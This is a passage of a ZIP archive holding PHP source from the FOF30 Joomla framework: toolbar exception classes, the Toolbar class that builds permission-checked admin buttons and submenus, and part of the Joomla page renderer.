__construct($buttonType, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_TOOLBAR_ERR_UNKNOWNBUTTONTYPE', $buttonType); parent::__construct($message, $code, $previous); } } PK���\��;�rr,fof30/Toolbar/Exception/MissingAttribute.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Toolbar\Exception; defined('_JEXEC') || die; use Exception; use InvalidArgumentException; use Joomla\CMS\Language\Text; class MissingAttribute extends InvalidArgumentException { public function __construct($missingArgument, $buttonType, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_TOOLBAR_ERR_MISSINGARGUMENT', $missingArgument, $buttonType); parent::__construct($message, $code, $previous); } } PK���\���vvfof30/Toolbar/Toolbar.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Toolbar; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Controller\Controller; use FOF30\Toolbar\Exception\MissingAttribute; use FOF30\Toolbar\Exception\UnknownButtonType; use FOF30\Utils\StringHelper; use FOF30\View\DataView\DataViewInterface; use FOF30\View\View; use InvalidArgumentException; use JArrayHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\Utilities\ArrayHelper; use JToolbarHelper; use stdClass; /** * The Toolbar class renders the back-end component title area and the back- * and front-end toolbars. * * @since 1.0 */ class Toolbar { /** @var array Permissions map, see the __construct method for more information */ public $perms = []; /** @var Container Component container */ protected $container = null; /** @var array The links to be rendered in the toolbar */ protected $linkbar = []; /** @var bool Should I render the submenu in the front-end? */ protected $renderFrontendSubmenu = false; /** @var bool Should I render buttons in the front-end? */ protected $renderFrontendButtons = false; /** @var bool Should I use the configuration file (fof.xml) of the component? */ protected $useConfigurationFile = false; /** @var null|bool Are we rendering a data-aware view? */ protected $isDataView = null; /** * Public constructor. * * The $config array can contain the following optional values: * * renderFrontendButtons bool Should I render buttons in the front-end of the component? * renderFrontendSubmenu bool Should I render the submenu in the front-end of the component? * useConfigurationFile bool Should we use the configuration file (fof.xml) of the component? * * @param Container $c The container for the component * @param array $config The configuration overrides, see above */ public function __construct(Container $c, array $config = []) { // Store the container reference in this object $this->container = $c; // Get a reference to some useful objects $input = $this->container->input; $platform = $this->container->platform; // Get default permissions (can be overridden by the view) $perms = (object) [ 'manage' => $this->container->platform->authorise('core.manage', $input->getCmd('option', 'com_foobar')), 'create' => $this->container->platform->authorise('core.create', $input->getCmd('option', 'com_foobar')), 'edit' => $this->container->platform->authorise('core.edit', $input->getCmd('option', 'com_foobar')), 'editstate' => $this->container->platform->authorise('core.edit.state', $input->getCmd('option', 'com_foobar')), 'delete' => $this->container->platform->authorise('core.delete', $input->getCmd('option', 'com_foobar')), ]; // Save front-end toolbar and submenu rendering flags if present in the config if (array_key_exists('renderFrontendButtons', $config)) { $this->renderFrontendButtons = $config['renderFrontendButtons']; } if (array_key_exists('renderFrontendSubmenu', $config)) { $this->renderFrontendSubmenu = $config['renderFrontendSubmenu']; } // If not in the administrative area, load the JToolbarHelper if (!$platform->isBackend()) { // Needed for tests, so we can inject our "special" helper class if (!class_exists('\\JToolbarHelper')) { $platformDirs = $platform->getPlatformBaseDirs(); $path = $platformDirs['root'] . '/administrator/includes/toolbar.php'; require_once $path; } // Things to do if we have to render a front-end toolbar if ($this->renderFrontendButtons) { // Load back-end toolbar language files in front-end $platform->loadTranslations(''); // Needed for tests (we can fake we're not in the backend, but we are still in CLI!) if (!$platform->isCli()) { // Load the core Javascript HTMLHelper::_('behavior.core'); HTMLHelper::_('jquery.framework', true); } } } // Store permissions in the local toolbar object $this->perms = $perms; } /** * Renders the toolbar for the current view and task * * @param string $view The view of the component * @param string $task The exact task of the view * * @return void */ public function renderToolbar($view = null, $task = null) { $input = $this->container->input; // If tmpl=component the default behaviour is to not render the toolbar if ($input->getCmd('tmpl', '') == 'component') { $render_toolbar = false; } else { $render_toolbar = true; } // If there is a render_toolbar=0 in the URL, do not render a toolbar $render_toolbar = $input->getBool('render_toolbar', $render_toolbar); if (!$render_toolbar) { return; } // Get the view and task $controller = $this->container->dispatcher->getController(); $autoDetectedView = 'cpanel'; $autoDetectedTask = 'main'; if (is_object($controller) && ($controller instanceof Controller)) { $autoDetectedView = $controller->getName(); $autoDetectedTask = $controller->getTask(); } if (empty($view)) { $view = $input->getCmd('view', $autoDetectedView); } if (empty($task)) { $task = $input->getCmd('task', $autoDetectedTask); } // If there is a fof.xml toolbar configuration use it and return $view = $this->container->inflector->pluralize($view); $toolbarConfig = $this->container->appConfig->get('views.' . ucfirst($view) . '.toolbar.' . $task); $oldValues = [ 'renderFrontendButtons' => $this->renderFrontendButtons, 'renderFrontendSubmenu' => $this->renderFrontendSubmenu, 'useConfigurationFile' => $this->useConfigurationFile, ]; $newValues = [ 'renderFrontendButtons' => $this->container->appConfig->get( 'views.' . ucfirst($view) . '.config.renderFrontendButtons', $oldValues['renderFrontendButtons'] ), 'renderFrontendSubmenu' => $this->container->appConfig->get( 'views.' . ucfirst($view) . '.config.renderFrontendSubmenu', $oldValues['renderFrontendSubmenu'] ), 'useConfigurationFile' => $this->container->appConfig->get( 'views.' . ucfirst($view) . '.config.useConfigurationFile', $oldValues['useConfigurationFile'] ), ]; foreach ($newValues as $k => $v) { $this->$k = $v; } if (!empty($toolbarConfig) && $this->useConfigurationFile) { $this->renderFromConfig($toolbarConfig); return; } // Check for an onViewTask method $methodName = 'on' . ucfirst($view) . ucfirst($task); if (method_exists($this, $methodName)) { $this->$methodName(); return; } // Check for an onView method $methodName = 'on' . ucfirst($view); if (method_exists($this, $methodName)) { $this->$methodName(); return; } // Check for an onTask method $methodName = 'on' . ucfirst($task); if (method_exists($this, $methodName)) { $this->$methodName(); return; } } /** * Renders the toolbar for the component's Control Panel page * * @return void */ public function onCpanelsBrowse() { if ($this->container->platform->isBackend() || $this->renderFrontendSubmenu) { $this->renderSubmenu(); } if (!$this->container->platform->isBackend() && !$this->renderFrontendButtons) { return; } $option = $this->container->componentName; JToolbarHelper::title(Text::_(strtoupper($option)), str_replace('com_', '', $option)); if (!$this->isDataView()) { return; } JToolbarHelper::preferences($option); } /** * Renders the toolbar for the component's Browse pages (the plural views) * * @return void */ public function onBrowse() { // On frontend, buttons must be added specifically if ($this->container->platform->isBackend() || $this->renderFrontendSubmenu) { $this->renderSubmenu(); } if (!$this->container->platform->isBackend() && !$this->renderFrontendButtons) { return; } // Setup $option = $this->container->componentName; $view = $this->container->input->getCmd('view', 'cpanel'); // Set toolbar title $subtitle_key = strtoupper($option . '_TITLE_' . $view); JToolbarHelper::title(Text::_(strtoupper($option)) . ': ' . Text::_($subtitle_key), str_replace('com_', '', $option)); if (!$this->isDataView()) { return; } // Add toolbar buttons if ($this->perms->create) { JToolbarHelper::addNew(); } if ($this->perms->edit) { JToolbarHelper::editList(); } if ($this->perms->create || $this->perms->edit) { JToolbarHelper::divider(); } // Published buttons are only added if there is a enabled field in the table try { $model = $this->container->factory->model($view); if ($model->hasField('enabled') && $this->perms->editstate) { JToolbarHelper::publishList(); JToolbarHelper::unpublishList(); JToolbarHelper::divider(); } } catch (Exception $e) { // Yeah. Let's not add the buttons if we can't load the model... } if ($this->perms->delete) { $msg = Text::_($option . '_CONFIRM_DELETE'); JToolbarHelper::deleteList(strtoupper($msg)); } // A Check-In button is only added if there is a locked_on field in the table try { $model = $this->container->factory->model($view); if ($model->hasField('locked_on') && $this->perms->edit) { JToolbarHelper::checkin(); } } catch (Exception $e) { // Yeah. Let's not add the button if we can't load the model... } } /** * Renders the toolbar for the component's Read pages * * @return void */ public function onRead() { // On frontend, buttons must be added specifically if ($this->container->platform->isBackend() || $this->renderFrontendSubmenu) { $this->renderSubmenu(); } if (!$this->container->platform->isBackend() && !$this->renderFrontendButtons) { return; } $option = $this->container->componentName; $componentName = str_replace('com_', '', $option); $view = $this->container->input->getCmd('view', 'cpanel'); // Set toolbar title $subtitle_key = strtoupper($option . '_TITLE_' . $view . '_READ'); JToolbarHelper::title(Text::_(strtoupper($option)) . ': ' . Text::_($subtitle_key), $componentName); if (!$this->isDataView()) { return; } // Set toolbar icons JToolbarHelper::back(); } /** * Renders the toolbar for the component's Add pages * * @return void */ public function onAdd() { // On frontend, buttons must be added specifically if (!$this->container->platform->isBackend() && !$this->renderFrontendButtons) { return; } $option = $this->container->componentName; $componentName = str_replace('com_', '', $option); $view = $this->container->input->getCmd('view', 'cpanel'); // Set toolbar title $subtitle_key = strtoupper($option . '_TITLE_' . $this->container->inflector->pluralize($view)) . '_EDIT'; JToolbarHelper::title(Text::_(strtoupper($option)) . ': ' . Text::_($subtitle_key), $componentName); if (!$this->isDataView()) { return; } // Set toolbar icons if ($this->perms->edit || $this->perms->editown) { // Show the apply button only if I can edit the record, otherwise I'll return to the edit form and get a // 403 error since I can't do that JToolbarHelper::apply(); } JToolbarHelper::save(); if ($this->perms->create) { JToolbarHelper::custom('savenew', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); } JToolbarHelper::cancel(); } /** * Renders the toolbar for the component's Edit pages * * @return void */ public function onEdit() { // On frontend, buttons must be added specifically if (!$this->container->platform->isBackend() && !$this->renderFrontendButtons) { return; } $this->onAdd(); } /** * Removes all links from the link bar * * @return void */ public function clearLinks() { $this->linkbar = []; } /** * Get the link bar's link definitions * * @return array */ public function &getLinks() { return $this->linkbar; } /** * Append a link to the link bar * * @param string $name The text of the link * @param string|null $link The link to render; set to null to render a separator * @param boolean $active True if it's an active link * @param string|null $icon Icon class (used by some renderers, like the Bootstrap renderer) * @param string|null $parent The parent element (referenced by name)) This will create a dropdown list * * @return void */ public function appendLink($name, $link = null, $active = false, $icon = null, $parent = '') { $linkDefinition = [ 'name' => $name, 'link' => $link, 'active' => $active, 'icon' => $icon, ]; if (empty($parent)) { if (array_key_exists($name, $this->linkbar)) { $this->linkbar[$name] = array_merge($this->linkbar[$name], $linkDefinition); // If there already are some children, I have to put this view link in the "items" array in the first place if (array_key_exists('items', $this->linkbar[$name])) { array_unshift($this->linkbar[$name]['items'], $linkDefinition); } } else { $this->linkbar[$name] = $linkDefinition; } } else { if (!array_key_exists($parent, $this->linkbar)) { $parentElement = $linkDefinition; $parentElement['name'] = $parent; $parentElement['link'] = null; $this->linkbar[$parent] = $parentElement; $parentElement['items'] = []; } else { $parentElement = $this->linkbar[$parent]; if (!array_key_exists('dropdown', $parentElement) && !empty($parentElement['link'])) { $newSubElement = $parentElement; $parentElement['items'] = [$newSubElement]; } } $parentElement['items'][] = $linkDefinition; $parentElement['dropdown'] = true; if ($active) { $parentElement['active'] = true; } $this->linkbar[$parent] = $parentElement; } } /** * Prefixes (some people erroneously call this "prepend" – there is no such word) a link to the link bar * * @param string $name The text of the link * @param string|null $link The link to render; set to null to render a separator * @param boolean $active True if it's an active link * @param string|null $icon Icon class (used by some renderers, like the Bootstrap renderer) * * @return void */ public function prefixLink($name, $link = null, $active = false, $icon = null) { $linkDefinition = [ 'name' => $name, 'link' => $link, 'active' => $active, 'icon' => $icon, ]; array_unshift($this->linkbar, $linkDefinition); } /** * Renders the submenu (toolbar links) for all detected views of this component * * @return void */ public function renderSubmenu() { $views = $this->getMyViews(); if (empty($views)) { return; } $activeView = $this->container->input->getCmd('view', 'cpanel'); foreach ($views as $view) { // Get the view name $key = strtoupper($this->container->componentName) . '_TITLE_' . strtoupper($view); //Do we have a translation for this key? if (strtoupper(Text::_($key)) == $key) { $altview = $this->container->inflector->isPlural($view) ? $this->container->inflector->singularize($view) : $this->container->inflector->pluralize($view); $key2 = strtoupper($this->container->componentName) . '_TITLE_' . strtoupper($altview); // Maybe we have for the alternative view? if (strtoupper(Text::_($key2)) == $key2) { // Nope, let's use the raw name $name = ucfirst($view); } else { $name = Text::_($key2); } } else { $name = Text::_($key); } $link = 'index.php?option=' . $this->container->componentName . '&view=' . $view; $active = $view == $activeView; $this->appendLink($name, $link, $active); } } /** * Return the front-end toolbar rendering flag * * @return boolean */ public function getRenderFrontendButtons() { return $this->renderFrontendButtons; } /** * @param boolean $renderFrontendButtons */ public function setRenderFrontendButtons($renderFrontendButtons) { $this->renderFrontendButtons = $renderFrontendButtons; } /** * Return the front-end submenu rendering flag * * @return boolean */ public function getRenderFrontendSubmenu() { return $this->renderFrontendSubmenu; } /** * @param boolean $renderFrontendSubmenu */ public function setRenderFrontendSubmenu($renderFrontendSubmenu) { $this->renderFrontendSubmenu = $renderFrontendSubmenu; } /** * Is the view we are rendering the toolbar for a data-aware view? * * @return bool */ public function isDataView() { if (is_null($this->isDataView)) { $this->isDataView = false; $controller = $this->container->dispatcher->getController(); $view = null; if (is_object($controller) && ($controller instanceof Controller)) { $view = $controller->getView(); } if (is_object($view) && ($view instanceof View)) { $this->isDataView = $view instanceof DataViewInterface; } } return $this->isDataView; } /** * Automatically detects all views of the component * * @return array A list of all views, in the order to be displayed in the toolbar submenu */ protected function getMyViews() { $t_views = []; $using_meta = false; $componentPaths = $this->container->platform->getComponentBaseDirs($this->container->componentName); $searchPath = $componentPaths['main'] . '/View'; $filesystem = $this->container->filesystem; $allFolders = $filesystem->folderFolders($searchPath); if (!empty($allFolders)) { foreach ($allFolders as $folder) { $view = $folder; // View already added if (in_array($this->container->inflector->pluralize($view), $t_views)) { continue; } // Do we have a 'skip.xml' file in there? $files = $filesystem->folderFiles($searchPath . '/' . $view, '^skip\.xml$'); if (!empty($files)) { continue; } // Do we have extra information about this view? (ie. ordering) $meta = $filesystem->folderFiles($searchPath . '/' . $view, '^metadata\.xml$'); // Not found, do we have it inside the plural one? if (!$meta) { $plural = $this->container->inflector->pluralize($view); if (in_array($plural, $allFolders)) { $view = $plural; $meta = $filesystem->folderFiles($searchPath . '/' . $view, '^metadata\.xml$'); } } if (!empty($meta)) { $using_meta = true; $xml = simplexml_load_file($searchPath . '/' . $view . '/' . $meta[0]); $order = (int) $xml->foflib->ordering; } else { // Next place. It's ok since the index are 0-based and count is 1-based if (!isset($to_order)) { $to_order = []; } $order = count($to_order); } $view = $this->container->inflector->pluralize($view); $t_view = new stdClass; $t_view->ordering = $order; $t_view->view = $view; $to_order[] = $t_view; $t_views[] = $view; } } $views = []; if (!empty($to_order)) { if (class_exists('JArrayHelper')) { JArrayHelper::sortObjects($to_order, 'ordering'); $views = JArrayHelper::getColumn($to_order, 'view'); } else { ArrayHelper::sortObjects($to_order, 'ordering'); $views = ArrayHelper::getColumn($to_order, 'view'); } } // If not using the metadata file, let's put the cpanel view on top if (!$using_meta) { $cpanel = array_search('cpanels', $views); if ($cpanel !== false) { unset($views[$cpanel]); array_unshift($views, 'cpanels'); } } return $views; } /** * Simplified default rendering without any attributes. * * @access protected * * @param array $tasks Array of tasks. * * @return void */ protected function renderToolbarElements($tasks) { foreach ($tasks as $task) { $this->renderToolbarElement($task); } } /** * Checks if the current user has enough privileges for the requested ACL privilege of a custom toolbar button. * * @param string $area The ACL privilege as set up in the $this->perms object * * @return boolean True if the user has the ACL privilege specified */ protected function checkACL($area) { if (is_bool($area)) { return $area; } if (in_array(strtolower($area), ['false', '0', 'no', '403'])) { return false; } if (in_array(strtolower($area), ['true', '1', 'yes'])) { return true; } if (in_array(strtolower($area), ['guest'])) { return $this->container->platform->getUser()->guest; } if (in_array(strtolower($area), ['user'])) { return !$this->container->platform->getUser()->guest; } if (empty($area)) { return true; } if (isset($this->perms->$area)) { return $this->perms->$area; } return false; } /** * Render the toolbar from the configuration. * * @param array $toolbar The toolbar definition * * @return void */ private function renderFromConfig(array $toolbar) { $isBackend = $this->container->platform->isBackend(); if ($isBackend || $this->renderFrontendSubmenu) { $this->renderSubmenu(); } if (!$isBackend && !$this->renderFrontendButtons) { return; } if (!$this->isDataView()) { return; } // Render each element foreach ($toolbar as $elementType => $elementAttributes) { $value = $elementAttributes['value'] ?? null; $this->renderToolbarElement($elementType, $value, $elementAttributes); } return; } /** * Render a toolbar element. * * @param string $type The element type. * @param mixed $value The element value. * @param array $attributes The element attributes. * * @return void * * @codeCoverageIgnore * @throws InvalidArgumentException */ private function renderToolbarElement($type, $value = null, array $attributes = []) { switch ($type) { case 'title': $icon = $attributes['icon'] ?? 'generic.png'; if (isset($attributes['translate'])) { $value = Text::_($value); } JToolbarHelper::title($value, $icon); break; case 'divider': JToolbarHelper::divider(); break; case 'custom': $task = $attributes['task'] ?? ''; $icon = $attributes['icon'] ?? ''; $iconOver = $attributes['icon_over'] ?? ''; $alt = $attributes['alt'] ?? ''; $listSelect = isset($attributes['list_select']) ? StringHelper::toBool($attributes['list_select']) : true; JToolbarHelper::custom($task, $icon, $iconOver, $alt, $listSelect); break; case 'preview': $url = $attributes['url'] ?? ''; $update_editors = isset($attributes['update_editors']) ? StringHelper::toBool($attributes['update_editors']) : false; JToolbarHelper::preview($url, $update_editors); break; case 'help': if (!isset($attributes['help'])) { throw new MissingAttribute('help', 'help'); } $ref = $attributes['help']; $com = isset($attributes['com']) ? StringHelper::toBool($attributes['com']) : false; $override = $attributes['override'] ?? null; $component = $attributes['component'] ?? null; JToolbarHelper::help($ref, $com, $override, $component); break; case 'back': $alt = $attributes['alt'] ?? 'JTOOLBAR_BACK'; $href = $attributes['href'] ?? 'javascript:history.back();'; JToolbarHelper::back($alt, $href); break; case 'media_manager': $directory = $attributes['directory'] ?? ''; $alt = $attributes['alt'] ?? 'JTOOLBAR_UPLOAD'; JToolbarHelper::media_manager($directory, $alt); break; case 'assign': $task = $attributes['task'] ?? 'assign'; $alt = $attributes['alt'] ?? 'JTOOLBAR_ASSIGN'; JToolbarHelper::assign($task, $alt); break; case 'addNew': case 'new': $area = $attributes['acl'] ?? 'create'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'add'; $alt = $attributes['alt'] ?? 'JTOOLBAR_NEW'; $check = isset($attributes['check']) ? StringHelper::toBool($attributes['check']) : false; JToolbarHelper::addNew($task, $alt, $check); } break; case 'copy': $area = $attributes['acl'] ?? 'create'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'copy'; $alt = $attributes['alt'] ?? 'JLIB_HTML_BATCH_COPY'; $icon = $attributes['icon'] ?? 'copy.png'; $iconOver = $attributes['iconOver'] ?? 'copy_f2.png'; JToolbarHelper::custom($task, $icon, $iconOver, $alt, false); } break; case 'publish': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'publish'; $alt = $attributes['alt'] ?? 'JTOOLBAR_PUBLISH'; $check = isset($attributes['check']) ? StringHelper::toBool($attributes['check']) : false; JToolbarHelper::publish($task, $alt, $check); } break; case 'publishList': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'publish'; $alt = $attributes['alt'] ?? 'JTOOLBAR_PUBLISH'; JToolbarHelper::publishList($task, $alt); } break; case 'unpublish': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'unpublish'; $alt = $attributes['alt'] ?? 'JTOOLBAR_UNPUBLISH'; $check = isset($attributes['check']) ? StringHelper::toBool($attributes['check']) : false; JToolbarHelper::unpublish($task, $alt, $check); } break; case 'unpublishList': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'unpublish'; $alt = $attributes['alt'] ?? 'JTOOLBAR_UNPUBLISH'; JToolbarHelper::unpublishList($task, $alt); } break; case 'archiveList': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'archive'; $alt = $attributes['alt'] ?? 'JTOOLBAR_ARCHIVE'; JToolbarHelper::archiveList($task, $alt); } break; case 'unarchiveList': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'unarchive'; $alt = $attributes['alt'] ?? 'JTOOLBAR_UNARCHIVE'; JToolbarHelper::unarchiveList($task, $alt); } break; case 'edit': case 'editList': $area = $attributes['acl'] ?? 'edit'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'edit'; $alt = $attributes['alt'] ?? 'JTOOLBAR_EDIT'; JToolbarHelper::editList($task, $alt); } break; case 'editHtml': $task = $attributes['task'] ?? 'edit_source'; $alt = $attributes['alt'] ?? 'JTOOLBAR_EDIT_HTML'; JToolbarHelper::editHtml($task, $alt); break; case 'editCss': $task = $attributes['task'] ?? 'edit_css'; $alt = $attributes['alt'] ?? 'JTOOLBAR_EDIT_CSS'; JToolbarHelper::editCss($task, $alt); break; case 'deleteList': case 'delete': $area = $attributes['acl'] ?? 'delete'; if ($this->checkACL($area)) { $msg = $attributes['msg'] ?? ''; $task = $attributes['task'] ?? 'remove'; $alt = $attributes['alt'] ?? 'JTOOLBAR_DELETE'; JToolbarHelper::deleteList($msg, $task, $alt); } break; case 'trash': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'trash'; $alt = $attributes['alt'] ?? 'JTOOLBAR_TRASH'; $check = isset($attributes['check']) ? StringHelper::toBool($attributes['check']) : true; JToolbarHelper::trash($task, $alt, $check); } break; case 'apply': $task = $attributes['task'] ?? 'apply'; $alt = $attributes['alt'] ?? 'JTOOLBAR_APPLY'; JToolbarHelper::apply($task, $alt); break; case 'save': $task = $attributes['task'] ?? 'save'; $alt = $attributes['alt'] ?? 'JTOOLBAR_SAVE'; JToolbarHelper::save($task, $alt); break; case 'savenew': $task = $attributes['task'] ?? 'savenew'; $alt = $attributes['alt'] ?? 'JTOOLBAR_SAVE_AND_NEW'; $icon = $attributes['icon'] ?? 'save-new.png'; $iconOver = $attributes['iconOver'] ?? 'save-new_f2.png'; JToolbarHelper::custom($task, $icon, $iconOver, $alt, false); break; case 'save2new': $task = $attributes['task'] ?? 'save2new'; $alt = $attributes['alt'] ?? 'JTOOLBAR_SAVE_AND_NEW'; JToolbarHelper::save2new($task, $alt); break; case 'save2copy': $task = $attributes['task'] ?? 'save2copy'; $alt = $attributes['alt'] ?? 'JTOOLBAR_SAVE_AS_COPY'; JToolbarHelper::save2copy($task, $alt); break; case 'checkin': $task = $attributes['task'] ?? 'checkin'; $alt = $attributes['alt'] ?? 'JTOOLBAR_CHECKIN'; $check = isset($attributes['check']) ? StringHelper::toBool($attributes['check']) : true; JToolbarHelper::checkin($task, $alt, $check); break; case 'cancel': $task = $attributes['task'] ?? 'cancel'; $alt = $attributes['alt'] ?? 'JTOOLBAR_CANCEL'; JToolbarHelper::cancel($task, $alt); break; case 'preferences': if (!isset($attributes['component'])) { throw new MissingAttribute('component', 'preferences'); } $component = $attributes['component']; $height = $attributes['height'] ?? '550'; $width = $attributes['width'] ?? '875'; $alt = $attributes['alt'] ?? 'JToolbar_Options'; $path = $attributes['path'] ?? ''; JToolbarHelper::preferences($component, $height, $width, $alt, $path); break; default: throw new UnknownButtonType($type); } } } PK���\��Υy+y+fof30/Render/Joomla.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Render; defined('_JEXEC') || die; use FOF30\Container\Container; use FOF30\Toolbar\Toolbar; use JHtmlSidebar; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Toolbar\Toolbar as JoomlaToolbar; /** * Renderer class for use with Joomla! 3.x and 4.x * * Renderer options * * wrapper_id The ID of the wrapper DIV. Default: akeeba-renderjoomla * linkbar_style Style for linkbars: joomla3|classic. Default: joomla3 * remove_wrapper_classes Comma-separated list of classes to REMOVE from the container * add_wrapper_classes Comma-separated list of classes to ADD to the container * * @package FOF30\Render * @since 3.6.0 */ class Joomla extends RenderBase implements RenderInterface { /** @inheritDoc */ public function __construct(Container $container) { $this->priority = 30; $this->enabled = true; parent::__construct($container); } /** * Echoes any HTML to show before the view template * * @param string $view The current view * @param string $task The current task * * @return void */ function preRender(string $view, string $task): void { $input = $this->container->input; $platform = $this->container->platform; $format = $input->getCmd('format', 'html'); if (empty($format)) { $format = 'html'; } if ($format != 'html') { return; } if ($platform->isCli()) { return; } HTMLHelper::_('behavior.core'); HTMLHelper::_('jquery.framework', true); // Wrap output in various classes $versionParts = explode('.', JVERSION); $minorVersion = $versionParts[0] . $versionParts[1]; $majorVersion = $versionParts[0]; $classes = []; if ($platform->isBackend()) { $area = $platform->isBackend() ? 'admin' : 'site'; $option = $input->getCmd('option', ''); $viewForCssClass = $input->getCmd('view', ''); $layout = $input->getCmd('layout', ''); $taskForCssClass = $input->getCmd('task', ''); $classes = [ 'joomla-version-' . $majorVersion, 'joomla-version-' . $minorVersion, $area, $option, 'view-' . $view, 'view-' . $viewForCssClass, 'layout-' . $layout, 'task-' . $task, 'task-' . $taskForCssClass, // We have a floating sidebar, they said. It looks great, they said. They must've been blind, I say! 'j-toggle-main', 'j-toggle-transition', 'row-fluid', ]; $classes = array_unique($classes); } $this->openPageWrapper($classes); // Render the submenu and toolbar if ($input->getBool('render_toolbar', true)) { $this->renderButtons($view, $task); $this->renderLinkbar($view, $task); } parent::preRender($view, $task); } /** * Echoes any HTML to show after the view template * * @param string $view The current view * @param string $task The current task * * @return void */ function postRender(string $view, string $task): void { $input = $this->container->input; $platform = $this->container->platform; $format = $input->getCmd('format', 'html'); if (empty($format)) { $format = 'html'; } if ($format != 'html') { return; } // Closing tag only if we're not in CLI if ($platform->isCli()) { return; } // Closes akeeba-renderjoomla div $this->closePageWrapper(); } /** * Renders the submenu (link bar) * * @param string $view The active view name * @param string $task The current task * * @return void */ protected function renderLinkbar(string $view, string $task): void { $style = $this->getOption('linkbar_style', 'joomla'); switch ($style) { case 'joomla': $this->renderLinkbar_joomla($view, $task); break; case 'classic': default: $this->renderLinkbar_classic($view, $task); break; } } /** * Renders the submenu (link bar) in F0F's classic style, using a Bootstrapped * tab bar. * * @param string $view The active view name * @param string $task The current task * * @return void */ protected function renderLinkbar_classic(string $view, string $task): void { $platform = $this->container->platform; if ($platform->isCli()) { return; } $isJoomla4 = version_compare(JVERSION, '3.99999.99999', 'gt'); $isJoomla3 = !$isJoomla4 && version_compare(JVERSION, '3.0.0', 'ge'); // Do not render a submenu unless we are in the the admin area $toolbar = $this->container->toolbar; $renderFrontendSubmenu = $toolbar->getRenderFrontendSubmenu(); if (!$platform->isBackend() && !$renderFrontendSubmenu) { return; } $links = $toolbar->getLinks(); if (!empty($links)) { echo "<ul class=\"nav nav-tabs\">\n"; foreach ($links as $link) { $dropdown = false; if (array_key_exists('dropdown', $link)) { $dropdown = $link['dropdown']; } if ($dropdown) { echo "<li"; $class = 'nav-item dropdown'; if ($link['active']) { $class .= ' active'; } echo ' class="' . $class . '">'; echo '<a class="nav-link dropdown-toggle" data-toggle="dropdown" href="#">'; if ($link['icon']) { echo "<i class=\"icon icon-" . $link['icon'] . "\"></i>"; } echo $link['name']; echo '<b class="caret"></b>'; echo '</a>'; echo "\n<ul class=\"dropdown-menu\">"; foreach ($link['items'] as $item) { echo "<li class=\"dropdown-item"; if ($item['active']) { echo ' active'; } echo "\">"; if ($item['icon']) { echo "<i class=\"icon icon-" . $item['icon'] . "\"></i>"; } if ($item['link']) { echo "<a href=\"" . $item['link'] . "\">" . $item['name'] . "</a>"; } else { echo $item['name']; } echo "</li>"; } echo "</ul>\n"; } else { echo "<li class=\"nav-item"; if ($link['active'] && $isJoomla3) { echo ' active"'; } echo "\">"; if ($link['icon']) { echo "<span class=\"icon icon-" . $link['icon'] . "\"></span>"; } if ($isJoomla3) { if ($link['link']) { echo "<a href=\"" . $link['link'] . "\">" . $link['name'] . "</a>"; } else { echo $link['name']; } } else { $class = $link['active'] ? 'active' : ''; $href = $link['link'] ?: '#'; echo "<a href=\"$href\" class=\"nav-link $class\">{$link['name']}</a>"; } } echo "</li>\n"; } echo "</ul>\n"; } } /** * Renders the submenu (link bar) using Joomla!'s style. On Joomla! 2.5 this * is a list of bar separated links, on Joomla! 3 it's a sidebar at the * left-hand side of the page. * * @param string $view The active view name * @param string $task The current task * * @return void */ protected function renderLinkbar_joomla(string $view, string $task): void { $platform = $this->container->platform; // On command line don't do anything if ($platform->isCli()) { return; } // Do not render a submenu unless we are in the the admin area $toolbar = $this->container->toolbar; $renderFrontendSubmenu = $toolbar->getRenderFrontendSubmenu(); if (!$platform->isBackend() && !$renderFrontendSubmenu) { return; } $this->renderLinkbarItems($toolbar); } /** * Render the linkbar * * @param Toolbar $toolbar An FOF toolbar object * * @return void */ protected function renderLinkbarItems(Toolbar $toolbar): void { $links = $toolbar->getLinks(); if (!empty($links)) { foreach ($links as $link) { JHtmlSidebar::addEntry($link['name'], $link['link'], $link['active']); $dropdown = false; if (array_key_exists('dropdown', $link)) { $dropdown = $link['dropdown']; } if ($dropdown) { foreach ($link['items'] as $item) { JHtmlSidebar::addEntry('– ' . $item['name'], $item['link'], $item['active']); } } } } } /** * Renders the toolbar buttons * * @param string $view The active view name * @param string $task The current task * * @return void */ protected function renderButtons(string $view, string $task): void { $platform = $this->container->platform; if ($platform->isCli()) { return; } // Do not render buttons unless we are in the the frontend area and we are asked to do so $toolbar = $this->container->toolbar; $renderFrontendButtons = $toolbar->getRenderFrontendButtons(); // Load main backend language, in order to display toolbar strings // (JTOOLBAR_BACK, JTOOLBAR_PUBLISH etc etc) $platform->loadTranslations('joomla'); if ($platform->isBackend() || !$renderFrontendButtons) { return; } $bar = JoomlaToolbar::getInstance('toolbar'); $items = $bar->getItems(); $substitutions = [ 'icon-32-new' => 'icon-plus', 'icon-32-publish' => 'icon-eye-open', 